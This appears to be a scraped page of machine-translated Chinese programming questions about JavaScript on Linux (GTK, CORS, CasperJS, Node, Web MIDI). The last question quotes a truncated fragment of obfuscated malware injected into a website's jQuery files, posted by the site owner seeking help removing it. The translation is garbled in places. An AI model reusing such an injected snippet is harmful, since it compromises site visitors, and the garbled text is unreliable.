Articles of javascript

如何使用JavaScript在GTK中创build剪贴板对象

我有一个在JavaScript中创build剪贴板对象的dickens。 const Gtk = imports.gi.Gtk; const Gdk = imports.gi.Gdk; // A bunch of unimportant code var clippy = Gtk.Clipboard.get(Gdk.Atom.intern("CLIPBOARD", false)); // Hi clippy clippy.request_text(this._textRec); // And elsewhere this._textRec is defined as… _textRec: function(clipboard, text, data) { this.label.label = text; } 通过上面的代码,我得到错误“不能创build一个Javascript对象的Atom;无法复制”。 思考? build议? 我对GTK编程非常陌生,我不确定JS的东西有多不同,比如python的信息。

正在HTML / Javascript生产POS软件?

我的家庭拥有一家餐厅,出于各种原因,我想制作一个POS软件来取代他们目前使用的。 我最喜欢在html / css中制作GUI,所以如果可能的话,我想采取这种方式。 我只是有一些担心。 是否有现有的API来处理打印机,寄存器和信用卡机器? 我可以让这些应用程序在Linux上运行,如果是的话,如何? (我知道Linux不能运行.hta) 如何在代码中连接多个terminal? 我不指望我走过,但任何信息将不胜感激。 另外,如果使用HTML / Javascript是不可行的,我会开放的build议。 我很喜欢使用C ++和Python进行编码,但是我不知道用这些语言制作GUI的简单方法。 谢谢!

图像不加载的JavaScript,HTML,angular,imdb的API

我试图从imdb显示图像api图像应显示在todo.poster,它工作得很好,当我尝试访问它在本地。 但是当我部署我的项目在服务器上,图像不加载第一次,但是如果我打开一个新的选项卡相同的图像,然后刷新我的项目的url,图像会显示。 我非常沮丧地试图解决这个问题 <div ng-repeat="todo in todos"> <a href="#show/{{todo.title}}" > <h2>{{todo.title}}</h2> </a> <br> <a href="#show/{{todo.title}}" > <img ng-src= {{todo.poster}} alt="Image Not Found"> </a> </div> http://ia.media-imdb.com/images/M/MV5BMTk4ODk5MTMyNV5BMl5BanBnXkFtZTcwMDMyNTg0Ng@@._V1_SX300.jpg 如果使用我的浏览器的检查元素,我看到这个错误 Failed to load resource: the server responded with a status of 403 (Forbidden)

你的gnome-shell-extension如何抓住焦点?

我有一个BoxLayout与其中的多个演员。 其中一名演员是圣诞老人。 我希望这个Entry有键盘焦点,所以当窗口被创build时,我可以马上开始input。 我已经find了“grab_key_focus()”方法,但是如果我在Entry上调用它,它什么也不做。 我很感激你能给我的任何帮助,因为这有一个非常稀缺的文件。

请求的资源.htaccess上不存在Access-Control-Allow-Origin标头

我正试图发送请求从www.websiteA.com到www.websiteB.com 。 我使用XMLHttpRequest上的XMLHttpRequest将POST从POST发送到B上的Python脚本.B上的python文件名为my_save.py ,位于/var/www/cgi-bin/my_save.py并在目录中/var/www/我添加了包含这个的.htaccess文件 <IfModule mod_headers.c> Header set Access-Control-Allow-Origin "*" </IfModule> 正如我在这个问题上看到htaccess的访问控制,允许来源和其他地方告诉我这样做。 但同样的错误 XMLHttpRequest cannot load http://websiteB.com/cgi-bin/my_save.py. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://websiteA.com' is therefore not allowed access. 如何摆脱这个错误,并使网站B? 谢谢您的帮助

CasperJs不能完全从PHP执行

样本CasperJstesting: casper.test.begin('Hello, Test!', 1, function(test) { test.assert(true); test.done(); }); Linux命令执行的结果: # casperjs test /bin/casper-test.js Test file: /bin/casper-test.js # Hello, Test! PASS Subject is strictly true PASS Hello, Test! (1 test) PASS 1 test executed in 0.026s, 1 passed, 0 failed, 0 dubious, 0 skipped. PHP的结果: <?php echo exec('casperjs test /path/to/casper-test.js'); ?> [37;42;1mPASS 1 test executed […]

在节点可执行文件中返回错误的pid

在我的最新项目上使用cli工具。 我正在写停止方法,并试图根据其pid杀死节点进程。 这是我有的代码,但它看起来像我只得到的grep函数的PID #!/usr/bin/env node (function () { var args = process.argv.slice(2), exec = require('child_process').exec; args.forEach(function (arg) { switch (arg) { case 'start': require('./library/Ubui'); return; break; case 'stop': //I am aware this will kill the grep instance too //but I don't care. Why should we? exec('ps aux | grep ubui.js | cut -c11-15', function (a, […]

通过编辑服务器代码捕获node.js中的控制台输出

第一个stackoverflow的问题! 我正在尝试捕获node.js服务器的所有console.log()输出。 假设我在Linux机器上,并且不能编辑服务器的代码 (项目负责人的请求)。 不过,我可以改变我如何启动服务器(节点–debug server.js),我可以附加shell脚本。 我的意图是pipe控制台输出到另一个socket.io服务器。 我想唯一明显的解决办法是写一个Linux命令pipe道输出到服务器或node.js有一个棘手的 – debugging方法来输出信息。 最终结果是,我希望能够运行服务器,并将控制台输出传送到APItesting服务器。 这样,testing人员就能够看到stream式传输服务器的输出,并与来自API端点的响应JSON对象相关联。 谢谢,我很想听听你的解决scheme…

为什么这个networkingMIDI API代码没有检测到MIDI事件?

我正在编写一个Chrome应用程序,使用当前稳定版本的Chrome(42.0.2311.152)。 我在Linux和Chromebook上都遇到了这个问题。 我有一个正在被识别的USB MIDI键盘,但没有检测到MIDI事件。 我已经检查了其他程序,并确定我的设备正在发送MIDI事件。 这是我的代码: function midihandler( event ) { console.log("Received MIDI event"); var msg = "Recieved MIDI event "; for (i=0 ; i < event.data.length ; i++) { msg += "0x" + event.data[i].toString(16) + " "; } console.log(msg); } function setupMIDI() { navigator.requestMIDIAccess().then( function (m) { console.log("MIDI initialized"); m.inputs.forEach( function (entry) { console.log("detected […]

Google屏蔽了我的网站:所有* .js文件受到感染。 如何find一个感染我的JavaScript代码的过程?

我有一个网站,网上商店。 几天前,我的防病毒软件开始发出警告,说明一些*.js文件已被感染。 我看了一下这个被感染的文件,发现下面的代码在后面追加了(只显示了一部分): /*! jQuery v1.11.3 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ !function(a,b){"object"==typeof module&&"object"==typeof module.exports? … … /*95d84650ccbbad8b650fac933d031bf0*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65", … // and so on /*95d84650ccbbad8b650fac933d031bf0*/ 我检查我的系统的防病毒,它没有发现。 clamscan -r –move=/home/USER/VIRUS / 我更新了我的WordPress,并手动删除*.js文件末尾添加的代码。 一段时间后,这个代码再次出现。 我试图删除它,修改或注释掉。 我试图find使用grep的恶意代码,但没有发现任何东西… 没什么帮助。 时间已过,所有我的*.js文件现在“感染”。 由于我的网站现在被封锁了… 我怎样才能find一个追加这个过程 – … /*95d84650ccbbad8b650fac933d031bf0*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65", … // and so on /*95d84650ccbbad8b650fac933d031bf0*/ 在每个*js文件的末尾?